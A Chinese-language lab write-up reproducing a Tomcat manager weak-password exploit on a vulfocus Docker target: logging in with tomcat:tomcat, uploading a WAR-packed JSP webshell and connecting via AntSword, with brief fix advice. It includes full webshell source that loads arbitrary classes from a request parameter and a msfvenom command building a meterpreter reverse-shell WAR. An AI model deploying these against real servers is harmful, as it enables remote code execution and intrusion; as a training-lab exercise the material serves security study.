漏洞描述

tomcat默认的管理页面manager使用basic认证用户名密码登录,可以使用burp进行爆破,并且一般安装后如果不修改/conf/tomcat-users.xml文件中的默认用户名密码tomcat:tomcat,可以登录管理后台,在部署war包后tomcat默认会将war包中的项目部署,由于可以任意的上传,所以我们可以将jsp文件打包为一个war文件上传getshell.

环境部署

两个方法:
1.浏览器打开vulfocus靶场,找到tomcat-pass-getshell 弱口令,然后启动环境即可,不过这个靶场有时候环境开不起来,就用方法二。
2.启动docker desktop,拉取vulfocus/tomcat-pass-getshell镜像,然后打开cmd输入命令:

1
docker run -d -p 8080:8080 --name tomcat-getshell vulfocus/tomcat-pass-getshell

然后可以查看进程:

1
docker ps

然后浏览器输入loccalhost:8080即可访问复现页面。
tomcat页面

漏洞复现

登录管理后台

首先我们需要找到管理后台的用户名密码,默认是tomcat:tomcat,我们可以尝试使用burp抓包,实战中要弱口令爆破,用bp的intruder模块,但我们这里直接用tomcat:tomcat即可。
记得登录的是右上角三个中的第二个Manage App,其他的两个没有上传war包的功能

准备jsp马和war包

(jsp马见文末)
这个jsp马变成war包有三种形式(我用的第一个,后面两个也可以尝试):

  • 最简单的:直接将jsp马压缩成zip格式,然后改后缀名为war,因为war的本质就是zip不过tomcat只允许war包的上传
  • 使用jar cvf test.war test.jsp打包:jar cvf test.war test.jsp
  • 额外的技巧,使用msfvenom也可以生成war后门文件,如下:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.25.0.1 LPORT=4444 -f war -o shell.war

上传war包

tomcat上传页面
我们把war包命名为test.war,jsp马名字是dama.jsp,然后上传deploy,然后访问http://localhost:8080/test.war/dama.jsp,可以看到一个空白页面,要是出现404什么的,估计就失败了
tomcat上传成功页面

蚁剑链接

打开蚁剑,新建一个连接,输入http://localhost:8080/test.war/dama.jsp,输入密码passwd即可连接
蚁剑链接成功
可以看到tomcat里面的数据文件了

关闭环境

docker stop tomcat-getshell 即可

漏洞修复建议

将conf/tomcat-users.xml中的用户名和密码都进行更改,改的极其复杂,更改后记得重启务器
将manager目录下的功能暂时关闭,需要的时候打开

jsp马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<%!

class U extends ClassLoader {
U(ClassLoader c) {

super(c);
}

public Class g(byte[] b) {

return super.defineClass(b, 0, b.length);
}
}


public byte[] base64Decode(String str) throws Exception {

try {
Class clazz = Class.forName(
"sun.misc.BASE64Decoder");

return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
}
catch (Exception e) {
Class clazz = Class.forName(
"java.util.Base64");
Object decoder = clazz.getMethod(
"getDecoder").invoke(null);

return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter(
"passwd");

if (cls != null) {

new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>